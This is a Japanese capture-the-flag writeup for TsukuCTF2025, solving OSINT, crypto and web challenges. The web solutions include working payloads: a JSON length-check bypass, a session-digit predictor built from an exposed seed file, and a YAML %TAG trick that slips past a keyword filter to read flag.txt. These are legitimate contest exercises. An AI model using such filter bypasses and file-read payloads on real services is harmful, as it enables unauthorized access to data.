TsukuCTF2025 writeup

リア友むりやり引っ張ってきてやってました。

おもろかった~!

OSINT

Casca 100pts

海が綺麗なこの日本の街は、かつてポルトガルのリゾート地との交流がありました。
この写真のすぐ右側にはその記念碑が置かれています。記念碑に書かれている「式典の開催日」を答えてください。

Google画像検索をすると、ジャカランダ遊歩道というところだとわかります。

なので、「ジャカランダ遊歩道 記念碑」で検索してみると次のサイトがヒットします。
https://hashikazu.org/archives/12598

平成26年6月6日(金)午前11時から熱海市東海岸町のお宮緑地にて「お宮緑地・ジャカランダ遊歩道」の完成式

TsukuCTF25{2014/06/06}

curve 100pts

これは日本の有名な場所の一部です。あなたはこの写真の違和感に気づけますか?
フラグはこの場所のWebサイトのドメインです。
例: TsukuCTF25{example.com}

google画像検索すると、横浜ランドマークタワーであることがわかります。

TsukuCTF25{yokohama-landmark.jp}

schnee 100pts

素敵な雪山に辿り着いた!スノーボードをレンタルをして、いざ滑走!
フラグフォーマットは写真の場所の座標の小数点第4位を四捨五入して、小数第3位までをTsukuCTF25{緯度_経度}の形式で記載してください。
例: TsukuCTF25{12.345_123.456}

全体をGoogle画像検索すると、https://niyodogawa.org/blog/outdoor/car/etc/64737/このブログがヒットします。

ブログ内で”今回はスーツケース2個をポントレジーナ(Pontresina)駅からグリンデルワルト(Grindelwald)駅に発送した。”と言っているのでGoogle Map で「グリンデルヴァルト skiset」とかで調べるとヒットします。

power 100pts

力を感じてきた。

フラグフォーマットはこの人が立っている場所のTsukuCTF25{緯度_経度}です。ただし、緯度および経度は小数点以下五桁目を切り捨てたものとします。

リア友がといてくれました。点字を頑張って読もう。

将門塚というところらしいです。

Crypto

PQC0 100pts

PQC(ポスト量子暗号)を使ってみました!

output.txt
==== private_key ====
-----BEGIN PRIVATE KEY-----
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
ebc=
-----END PRIVATE KEY-----

==== ciphertext(hex) ====
83daaca5593e84b6b902645a25920e6f60c7c72ca8101b56b878434f20cd838f0f2086d3385e528f2687625a38822b74097d109f6d7b3ac730b7fd6a47c988324a6f3b3133b868d3db8b473b597151df4e4091e3ebf77843b6f84c420ffea899f6465d60ffabb3e1de10da2055a43abff172ecf44130a8f3663ff5c39a61d6a10d13cd72f0f289815c75c17687fd35a82503cfbdf790c5164ea739e0f34e7b23cd017a493bf60f8d0d083ce50257bdff7ec5a882e8c1132fc0ef7fed7543d74eb17624266413093d8ef1b80eb94ce97af443fa479a131b59393495d45f8b79271105abed644a423bad0a76bb86de6c5303c2f2eaf36b9d517201d3c670b46fde3e9282346abee87b9aea188936abef98ab9a10914007a26f6f05ccb007f0784870444e4c49002e256b8acd2842ac5d574b1b8592949c9e615882a811a101262713b3c673a885b44a4eac81000746a7ea7ec7e02b4511dd12f57dca62fb263cdc1dd9a1e5599b7c4823d02811acb4c51dff09060591be3370e250246ccd15dcd29ed037805a478ff87edecf184db4f5ce2f929212fc36b9f9d22fec6a5ca69d966ca10fff9d0aac6fcb197fdf03ddd5d32fcff27200f96d3eb7e6628df601874b83ead5e2bb965fb02d01e5e9593938b5ad49e473998fad055010fa8caf04366cab97838cbeed94d9b3b1051ea79d0e8d2dfae83b96efcc82b81539534d00825f8a22492bfac3869ee52af470a7718ee2149c1aa69377f675f922ac2d79477bdf5788f5af3a4b9bad63838b09c07069b1651416f9631475397e86739502dfd89b4c603bc7ed2c6c8fe46762db2412104c0dfdbf265b4f9dfc95d4e2408f9237e4c37e395fe219254569b48d7e3bd38807285204cb434f3a8e17ce96d95182a38c4e788f6bb7fac129e457f26769b80489d47631033f4d47702fc64649e40bb17818438ce04659ecf440b70e29ab332bf348897e504025250a12aea1297b47e6f6a8b4334152dea44f12dead1c2ae07e944dc214fc15a7eb3eedcbe7528c75daf7891ea59b92c26dd2a8e7d8e8a5e61d621c3c29132fade8a5c03a25fb8918dab80fe1b2ef0ac88a33d1b85f6e09f495813bea33a310e98f74f9286f78e451ef9a43f35f738a0d1148bd427fc51cc5e1da59d6c3ad4531f63b3aacda096d062b73e66b1f5a74d015da0dfb215b52c65203ba2a1c7ca67996081451669989f919b33b4c016faa9e81722dbe2c6132976c997172a34fd95ba6023bb4798b6ebded93deb0f80a493bb4d430b6faf01010f4e14504c8a46213ab749aacd6f0f08dc0157f132859f6d02312ed6c015c6e2cc63c97e6ad6e7408135f45a0e1f4ae9a858c1d7dbd40cf7ac33f74d61a3dfcaa8fda39768e088ead498093d71e930f03d320ef46f47d45995453950d21fba2704486c203789cf616fbf6b7c9f120c06c43ec0548b8a90201aa54e0d756d1c3e5c1e7bf56cc887c8eeaa173229b644da640671872cbcf9a96150c2deafdc7ea5036a9a9fa828ee3558e4e65a988131ea7ab65
==== encrypted_flag(hex) ====
5f2b9c04a67523dac3e0b0d17f79aa2879f91ad60ba8d822869ece010a7f78f349ab75794ff4cb08819d79c9f44467bd


prob.py
Python
# REQUIRED: OpenSSL 3.5.0 

import os
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from flag import flag

# generate private key
os.system("openssl genpkey -algorithm ML-KEM-768 -out priv-ml-kem-768.pem")
# generate public key
os.system("openssl pkey -in priv-ml-kem-768.pem -pubout -out pub-ml-kem-768.pem")
# generate shared secret
os.system("openssl pkeyutl -encap -inkey pub-ml-kem-768.pem -secret shared.dat -out ciphertext.dat")

with open("priv-ml-kem-768.pem", "rb") as f:
    private_key = f.read()

print("==== private_key ====")
print(private_key.decode())

with open("ciphertext.dat", "rb") as f:
    ciphertext = f.read()

print("==== ciphertext(hex) ====")
print(ciphertext.hex())

with open("shared.dat", "rb") as f:
    shared_secret = f.read()

encrypted_flag = AES.new(shared_secret, AES.MODE_ECB).encrypt(pad(flag, 16))

print("==== encrypted_flag(hex) ====")
print(encrypted_flag.hex())

最近OpenSSL 3.5.0が発表されたようでそれに起因した問題でしょうか。

ただ頑張って調べて手順通りにopensslを使って復号するだけでした。

yuma4869@4869-Surface-Laptop-4:~/CTF/Tsukuctf25/PQC0$ sudo nano priv.pem
[sudo] yuma4869 のパスワード:
yuma4869@4869-Surface-Laptop-4:~/CTF/Tsukuctf25/PQC0$ tail priv.pem
FZz6IYxW9XKrcMQTdGOa+BHa5B2vxMuuIFuIK49LjAHdC4VE900nYm7DTI7ksIwM
YGALKBXo+0Fa+rosIQ+qsLlH8LmQwUL61SkSRYmQEzKUNbDJi4lbgxSlgT60QcAi
HFEcabS7A6QwW6UzfHovDDWkt7LIa8bN2U0ug4G8plWVQ8I9aVi+N1ebpoqUspOE
IyKfl7neIjgs9hL7M4+1HDoC0GB+K2MdgJDA9q/cAEW62xumghN+W4uewg92Vx7U
iDH8iBjQiUQP2ax5XA5hd2PiKAT8eJzPo6uCYAg/LDCNJxXNNXf1Wj2JwrKsR1KB
O4k6lUhb64loVqbJmYSMsyn3kmLLW8JoAGpP9DwfSQRPZrdD8JgOhwdmQWJ+clIb
fHq1bjH5/Y8QsVRwIboRAjcpiX0kNXd/EyidHYgY2Nud1N+1Z7KyMlxaZCEdclDE
qbv0QZNXTdKz3c0Tni4rO1x3cW4teFALMQb820me2lRJUfc3V5WKdTmCmwsmKNRZ
ebc=
-----END PRIVATE KEY-----
yuma4869@4869-Surface-Laptop-4:~/CTF/Tsukuctf25/PQC0$ sudo nano ciphertext.hex
yuma4869@4869-Surface-Laptop-4:~/CTF/Tsukuctf25/PQC0$ tail ciphertext.hex
83daaca5593e84b6b902645a25920e6f60c7c72ca8101b56b878434f20cd838f0f2086d3385e528f2687625a38822b74097d109f6d7b3ac730b7fd6a47c988324a6f3b3133b868d3db8b473b597151df4e4091e3ebf77843b6f84c420ffea899f6465d60ffabb3e1de10da2055a43abff172ecf44130a8f3663ff5c39a61d6a10d13cd72f0f289815c75c17687fd35a82503cfbdf790c5164ea739e0f34e7b23cd017a493bf60f8d0d083ce50257bdff7ec5a882e8c1132fc0ef7fed7543d74eb17624266413093d8ef1b80eb94ce97af443fa479a131b59393495d45f8b79271105abed644a423bad0a76bb86de6c5303c2f2eaf36b9d517201d3c670b46fde3e9282346abee87b9aea188936abef98ab9a10914007a26f6f05ccb007f0784870444e4c49002e256b8acd2842ac5d574b1b8592949c9e615882a811a101262713b3c673a885b44a4eac81000746a7ea7ec7e02b4511dd12f57dca62fb263cdc1dd9a1e5599b7c4823d02811acb4c51dff09060591be3370e250246ccd15dcd29ed037805a478ff87edecf184db4f5ce2f929212fc36b9f9d22fec6a5ca69d966ca10fff9d0aac6fcb197fdf03ddd5d32fcff27200f96d3eb7e6628df601874b83ead5e2bb965fb02d01e5e9593938b5ad49e473998fad055010fa8caf04366cab97838cbeed94d9b3b1051ea79d0e8d2dfae83b96efcc82b81539534d00825f8a22492bfac3869ee52af470a7718ee2149c1aa69377f675f922ac2d79477bdf5788f5af3a4b9bad63838b09c07069b1651416f9631475397e86739502dfd89b4c603bc7ed2c6c8fe46762db2412104c0dfdbf265b4f9dfc95d4e2408f9237e4c37e395fe219254569b48d7e3bd38807285204cb434f3a8e17ce96d95182a38c4e788f6bb7fac129e457f26769b80489d47631033f4d47702fc64649e40bb17818438ce04659ecf440b70e29ab332bf348897e504025250a12aea1297b47e6f6a8b4334152dea44f12dead1c2ae07e944dc214fc15a7eb3eedcbe7528c75daf7891ea59b92c26dd2a8e7d8e8a5e61d621c3c29132fade8a5c03a25fb8918dab80fe1b2ef0ac88a33d1b85f6e09f495813bea33a310e98f74f9286f78e451ef9a43f35f738a0d1148bd427fc51cc5e1da59d6c3ad4531f63b3aacda096d062b73e66b1f5a74d015da0dfb215b52c65203ba2a1c7ca67996081451669989f919b33b4c016faa9e81722dbe2c6132976c997172a34fd95ba6023bb4798b6ebded93deb0f80a493bb4d430b6faf01010f4e14504c8a46213ab749aacd6f0f08dc0157f132859f6d02312ed6c015c6e2cc63c97e6ad6e7408135f45a0e1f4ae9a858c1d7dbd40cf7ac33f74d61a3dfcaa8fda39768e088ead498093d71e930f03d320ef46f47d45995453950d21fba2704486c203789cf616fbf6b7c9f120c06c43ec0548b8a90201aa54e0d756d1c3e5c1e7bf56cc887c8eeaa173229b644da640671872cbcf9a96150c2deafdc7ea5036a9a9fa828ee3558e4e65a988131ea7ab65
yuma4869@4869-Surface-Laptop-4:~/CTF/Tsukuctf25/PQC0$ xxd -r -p ciphertext.hex > ciphertext.bin
yuma4869@4869-Surface-Laptop-4:~/CTF/Tsukuctf25/PQC0$ sudo nano flag.hex
yuma4869@4869-Surface-Laptop-4:~/CTF/Tsukuctf25/PQC0$ xxd -r -p flag.hex > flag.bin
yuma4869@4869-Surface-Laptop-4:~/CTF/Tsukuctf25/PQC0$ openssl pkeyutl \
-inkey priv.pem \
-decap \
-in ciphertext.bin \
-secret shared.bin
>>> from Crypto.Cipher import AES
... from Crypto.Util.Padding import unpad
...
... shared = open('shared.bin','rb').read()
...
... flag_enc = open('flag.bin','rb').read()
...
... cipher = AES.new(shared, AES.MODE_ECB)
... flag = unpad(cipher.decrypt(flag_enc), 16)
...
... print(flag.decode())
...
TsukuCTF25{W3lc0me_t0_PQC_w0r1d!!!}

多分これでいけるはず。

a8tsukuctf 100pts

適当な KEY を作って暗号化したはずが、 tsukuctf の部分が変わらないなぁ…

prob.py
Python
import string

plaintext = '[REDACTED]'
key = '[REDACTED]'

#    <plaintext>               <ciphertext>
# ...?? tsukuctf, ??... ->  ...aa tsukuctf, hj...
assert plaintext[30:38] == 'tsukuctf'


# https://ja.wikipedia.org/wiki/%E3%83%B4%E3%82%A3%E3%82%B8%E3%83%A5%E3%83%8D%E3%83%AB%E6%9A%97%E5%8F%B7#%E6%95%B0%E5%BC%8F%E3%81%A7%E3%81%BF%E3%82%8B%E6%9A%97%E5%8F%B7%E5%8C%96%E3%81%A8%E5%BE%A9%E5%8F%B7
def f(p, k):
    p = ord(p) - ord('a')
    k = ord(k) - ord('a')
    ret = (p + k) % 26
    return chr(ord('a') + ret)


def encrypt(plaintext, key):
    assert len(key) <= len(plaintext)

    idx = 0
    ciphertext = []
    cipher_without_symbols = []

    for c in plaintext:
        if c in string.ascii_lowercase:
            if idx < len(key):
                k = key[idx]
            else:
                k = cipher_without_symbols[idx-len(key)]
            cipher_without_symbols.append(f(c, k))
            ciphertext.append(f(c, k))
            idx += 1          
        else:
            ciphertext.append(c)

    ciphertext = ''.join(c for c in ciphertext)

    return ciphertext


ciphertext = encrypt(plaintext=plaintext, key=key)

with open('output.txt', 'w') as f:
    f.write(f'{ciphertext=}\n')
output.txt
ciphertext="ayb wpg uujmz pwom jaaaaaa aa tsukuctf, hj vynj? mml ogyt re ozbiymvrosf bfq nvjwsum mbmm ef ntq gudwy fxdzyqyc, yeh sfypf usyv nl imy kcxbyl ecxvboap, epa 'avb' wxxw unyfnpzklrq."

前の暗号文を鍵にしているようなヴィじゅねる暗号ぽいです。

tsukuctfがplaintext[30:38]にあると明言されていますが、暗号文にも表れています。

なんで?と思いましたが、なるほど直前にaが8個連続しています。これなら平文と変わりません。(ord(‘a’) – ord(‘a’) = 0)

なのでこの情報から鍵長は8とわかります。

その前の暗号文も見事に8個ずつに区切れます。(注:アルファベット小文字のみが対象)

ということで、この暗号文は直前の暗号文8個分をキーとして暗号しているのですから、もう最初の8個以外は復元できます。

Python
ciph_letters = ['a', 'y', 'b', 'w', 'p', 'g', 'u', 'u', 'j', 'm', 'z', 'p', 'w', 'o', 'm', 'j', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 't', 's', 'u', 'k', 'u', 'c', 't', 'f', 'h', 'j', 'v', 'y', 'n', 'j', 'm', 'm', 'l', 'o', 'g', 'y', 't', 'r', 'e', 'o', 'z', 'b', 'i', 'y', 'm', 'v', 'r', 'o', 's', 'f', 'b', 'f', 'q', 'n', 'v', 'j', 'w', 's', 'u', 'm', 'm', 'b', 'm', 'm', 'e', 'f', 'n', 't', 'q', 'g', 'u', 'd', 'w', 'y', 'f', 'x', 'd', 'z', 'y', 'q', 'y', 'c', 'y', 'e', 'h', 's', 'f', 'y', 'p', 'f', 'u', 's', 'y', 'v', 'n', 'l', 'i', 'm', 'y', 'k', 'c', 'x', 'b', 'y', 'l', 'e', 'c', 'x', 'v', 'b', 'o', 'a', 'p', 'e', 'p', 'a', 'a', 'v', 'b', 'w', 'x', 'x', 'w', 'u', 'n', 'y', 'f', 'n', 'p', 'z', 'k', 'l', 'r', 'q']
plain = []
cipher = "ayb wpg uujmz pwom jaaaaaa aa tsukuctf, hj vynj? mml ogyt re ozbiymvrosf bfq nvjwsum mbmm ef ntq gudwy fxdzyqyc, yeh sfypf usyv nl imy kcxbyl ecxvboap, epa 'avb' wxxw unyfnpzklrq."
def decrypt(L):
    plain = ['?']*len(ciph_letters)
    for j in range(len(ciph_letters)):
        if j < L:
            plain[j] = '?'
        else:
            c = ord(ciph_letters[j]) - ord('a')
            k = ord(ciph_letters[j-L]) - ord('a')
            p = (c - k) % 26
            plain[j] = chr(p + ord('a'))
    res=[]
    j=0
    for ch in cipher:
        if ch.islower():
            res.append(plain[j])
            j+=1
        else:
            res.append(ch)
    return ''.join(res)

print(decrypt(8))
??? ??? ??joy this problem or tsukuctf, or both? the flag is concatenate the seventh word in the first sentence, the third word in the second sentence, and 'fun' with underscores.

読むだけ

TsukuCTF25{tsukuctf_is_fun}

反省

xortsukushiftってz3とかで復号できなかった…3通りの情報しかないから無理なのかな~?答え気になる。

PQC1はもうちょっとprivatekeyあったらseedみれた気がするのにな~難しい

Web

len_len

"length".length is 6 ?

curl http://challs.tsukuctf.org:28888

└─$ curl http://challs.tsukuctf.org:28888
How to use -> curl -X POST -d 'array=[1,2,3,4]' http://challs.tsukuctf.org:28888
JavaScript
const express = require("express");
const bodyParser = require("body-parser");
const process = require("node:process");

const app = express();
const HOST = process.env.HOST ?? "localhost";
const PORT = process.env.PORT ?? "28888";
const FLAG = process.env.FLAG ?? "TsukuCTF25{dummy_flag}";

app.use(bodyParser.urlencoded({ extended: true }));

function chall(str = "[1, 2, 3]") {
  const sanitized = str.replaceAll(" ", "");
  if (sanitized.length < 10) {
    return `error: no flag for you. sanitized string is ${sanitized}, length is ${sanitized.length.toString()}`;
  }
  const array = JSON.parse(sanitized);
  if (array.length < 0) {
    // hmm...??
    return FLAG;
  }
  return `error: no flag for you. array length is too long -> ${array.length}`;
}

app.get("/", (_, res) => {
  res.send(
    `How to use -> curl -X POST -d 'array=[1,2,3,4]' http://${HOST}:${PORT}\n`,
  );
});

app.post("/", (req, res) => {
  const array = req.body.array;
  res.send(chall(array));
});

app.listen(PORT, () => {
  console.log(`Server is running on http://${HOST}:${PORT}`);
});

JSON.parseの本来の使い方をすればいいです。

└─$ curl -X POST -d 'array={"length": -1 }' http://challs.tsukuctf.org:28888
TsukuCTF25{l4n_l1n_lun_l4n_l0n}

flash 100pts

3, 2, 1, pop!

http://challs.tsukuctf.org:50000/

app.py
Python
from flask import Flask, session, render_template, request, redirect, url_for, make_response
import hmac, hashlib, secrets

used_tokens = set()

with open('./static/seed.txt', 'r') as f:
    SEED = bytes.fromhex(f.read().strip())

def lcg_params(seed: bytes, session_id: str):
    m = 2147483693
    raw_a = hmac.new(seed, (session_id + "a").encode(), hashlib.sha256).digest()
    a = (int.from_bytes(raw_a[:8], 'big') % (m - 1)) + 1
    raw_c = hmac.new(seed, (session_id + "c").encode(), hashlib.sha256).digest()
    c = (int.from_bytes(raw_c[:8], 'big') % (m - 1)) + 1
    return m, a, c

def generate_round_digits(seed: bytes, session_id: str, round_index: int):
    LCG_M, LCG_A, LCG_C = lcg_params(seed, session_id)

    h0 = hmac.new(seed, session_id.encode(), hashlib.sha256).digest()
    state = int.from_bytes(h0, 'big') % LCG_M

    for _ in range(DIGITS_PER_ROUND * round_index):
        state = (LCG_A * state + LCG_C) % LCG_M

    digits = []
    for _ in range(DIGITS_PER_ROUND):
        state = (LCG_A * state + LCG_C) % LCG_M
        digits.append(state % 10)

    return digits

def reset_rng():
    session.clear()
    session['session_id'] = secrets.token_hex(16)
    session['round'] = 0

TOTAL_ROUNDS = 10
DIGITS_PER_ROUND = 7
FLAG = "TsukuCTF25{**REDACTED**}"

app = Flask(__name__)
app.secret_key = secrets.token_bytes(16)

@app.route('/')
def index():
    reset_rng()
    return render_template('index.html')

@app.route('/flash')
def flash():
    session_id = session.get('session_id')
    if not session_id:
        return redirect(url_for('index'))

    r = session.get('round', 0)
    if r >= TOTAL_ROUNDS:
        return redirect(url_for('result'))

    digits = generate_round_digits(SEED, session_id, r)

    session['round'] = r + 1

    visible = (session['round'] <= 3) or (session['round'] > 7)
    return render_template('flash.html', round=session['round'], total=TOTAL_ROUNDS, digits=digits, visible=visible)

@app.route('/result', methods=['GET', 'POST'])
def result():
    if request.method == 'GET':
        if not session.get('session_id') or session.get('round', 0) < TOTAL_ROUNDS:
            return redirect(url_for('flash'))
        token = secrets.token_hex(16)
        session['result_token'] = token
        used_tokens.add(token)
        return render_template('result.html', token=token)

    form_token = request.form.get('token', '')
    if ('result_token' not in session or form_token != session['result_token']
            or form_token not in used_tokens):
        return redirect(url_for('index'))
    used_tokens.remove(form_token)

    ans_str = request.form.get('answer', '').strip()
    if not ans_str.isdigit():
        return redirect(url_for('index'))
    ans = int(ans_str)

    session_id = session.get('session_id')
    correct_sum = 0
    for round_index in range(TOTAL_ROUNDS):
        digits = generate_round_digits(SEED, session_id, round_index)
        number = int(''.join(map(str, digits)))
        correct_sum += number

    session.clear()
    resp = make_response(
        render_template('result.html', submitted=ans, correct=correct_sum,
                        success=(ans == correct_sum), FLAG=FLAG if ans == correct_sum else None)
    )
    cookie_name = app.config.get('SESSION_COOKIE_NAME', 'session')
    resp.set_cookie(cookie_name, '', expires=0)
    return resp

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

seed.txtがstatic配下に置かれており普通に公開されています。

というわけであとは、cookieからjwt.ioとかでsession_idを取り出してapp.pyにあるLCGにプログラムを借りてきて再現するだけです。

Python
#!/usr/bin/env python3
import hmac
import hashlib
from itsdangerous.url_safe import URLSafeTimedSerializer
from flask.sessions import TaggedJSONSerializer

seed_hex= "b7c4c422a93fdc991075b22b79aa12bb19770b1c9b741dd44acbafd4bc6d1aabc1b9378f3b68ac345535673fcf07f089a8492dc1b05343a80b3d002f070771c6"

# バイト列に変換
SEED = bytes.fromhex(seed_hex)

session_id = "8840b5d04b37a8ed7d3fb70b86ed8003" #cookieからjwt.ioとか利用して取得します。

def lcg_params(seed: bytes, sid: str):
    m = 2147483693
    raw_a = hmac.new(seed, (sid + "a").encode(), hashlib.sha256).digest()
    a = (int.from_bytes(raw_a[:8], "big") % (m-1)) + 1
    raw_c = hmac.new(seed, (sid + "c").encode(), hashlib.sha256).digest()
    c = (int.from_bytes(raw_c[:8], "big") % (m-1)) + 1
    return m, a, c

def generate_round_digits(seed: bytes, sid: str, idx: int):
    m, A, C = lcg_params(seed, sid)
    state = int.from_bytes(
        hmac.new(seed, sid.encode(), hashlib.sha256).digest(), "big"
    ) % m
    for _ in range(7 * idx):
        state = (A * state + C) % m
    digits = []
    for _ in range(7):
        state = (A * state + C) % m
        digits.append(state % 10)
    return digits

# 全ラウンドの合計を計算して出力
total = sum(
    int("".join(map(str, generate_round_digits(SEED, session_id, i))))
    for i in range(10)
)
print(total)

これで出力された数値を入力するとフラグが表示されます。

YAMLwaf 375pts

YAML is awesome!!

curl -X POST "http://challs.tsukuctf.org:50001" -H "Content-Type: text/plain" -d "file: flag.txt"

(mirror)
curl -X POST "http://20.2.250.108:50001" -H "Content-Type: text/plain" -d "file: flag.txt"
server.js
JavaScript
const express = require('express');
const bodyParser = require('body-parser');
const fs = require('fs');
const path = require('path');
const yaml = require('js-yaml');
const app = express();
app.use(bodyParser.text());

app.post('/', (req, res) => {
  try {
    if (req.body.includes('flag')) {
      return res.status(403).send('Not allowed!');
    }
    if (req.body.includes('\\') || req.body.includes('/')
      || req.body.includes('!!') || req.body.includes('<')) {
      return res.status(403).send('Hello, Hacker :)');
    }
    const data = yaml.load(req.body);
    console.log(data);
    const filePath = data.file;

    if (filePath && fs.existsSync(filePath)) {
      const content = fs.readFileSync(filePath, 'utf8');
      return res.send(content);
    } else {
      return res.status(404).send('File not found');
    }
  } catch (err) {
    return res.status(400).send('Invalid request' + err);
  }
});

app.listen(3000, () => {
  console.log('Server listening on port 3000');
});

localhostでdocker立ち上げて挙動確認しながらまじでためしにためしまくってました。

yamlで変数宣言みたいなんできるんですね。

curl -X POST "http://localhost:50001" -H "Content-Type: text/plain" -d 'file: >-
f
l
a
g.txt'

こういうの試しまくってました。これが一番惜しかった。

FLag.txtみたいに大文字にしても読み込まれない。

いろいろ調べると、!!でいろんなことができるらしい。だから!!が禁止されているんだな。

こういう時に信頼できるのはwikipediaなのでとりあえずwikipediaで調べてみます。(https://en.wikipedia.org/wiki/YAML)

わからんもんを全部しらべていくと、次の記述がありました。

The %TAG directive is used as a shortcut for URI prefixes. These shortcuts may then be used in node type tags.

なので、「yaml %TAG」等で検索をかけてみます。

https://stackoverflow.com/questions/15233335/i-dont-understand-what-a-yaml-tag-is

などのサイトが参考になりました。

!!binaryでbase64を表現できるのはわかっていたので、上記の二つのサイトを参考に次のようなペイロードを作りました。

└─$ curl -s -X POST "http://challs.tsukuctf.org:50001"      -H "Content-Type: text/plain"      -d'%TAG ! tag:yaml.org,2002:
---
file: !binary ZmxhZy50eHQ=
'
TsukuCTF25{YAML_1s_d33p!}

感想

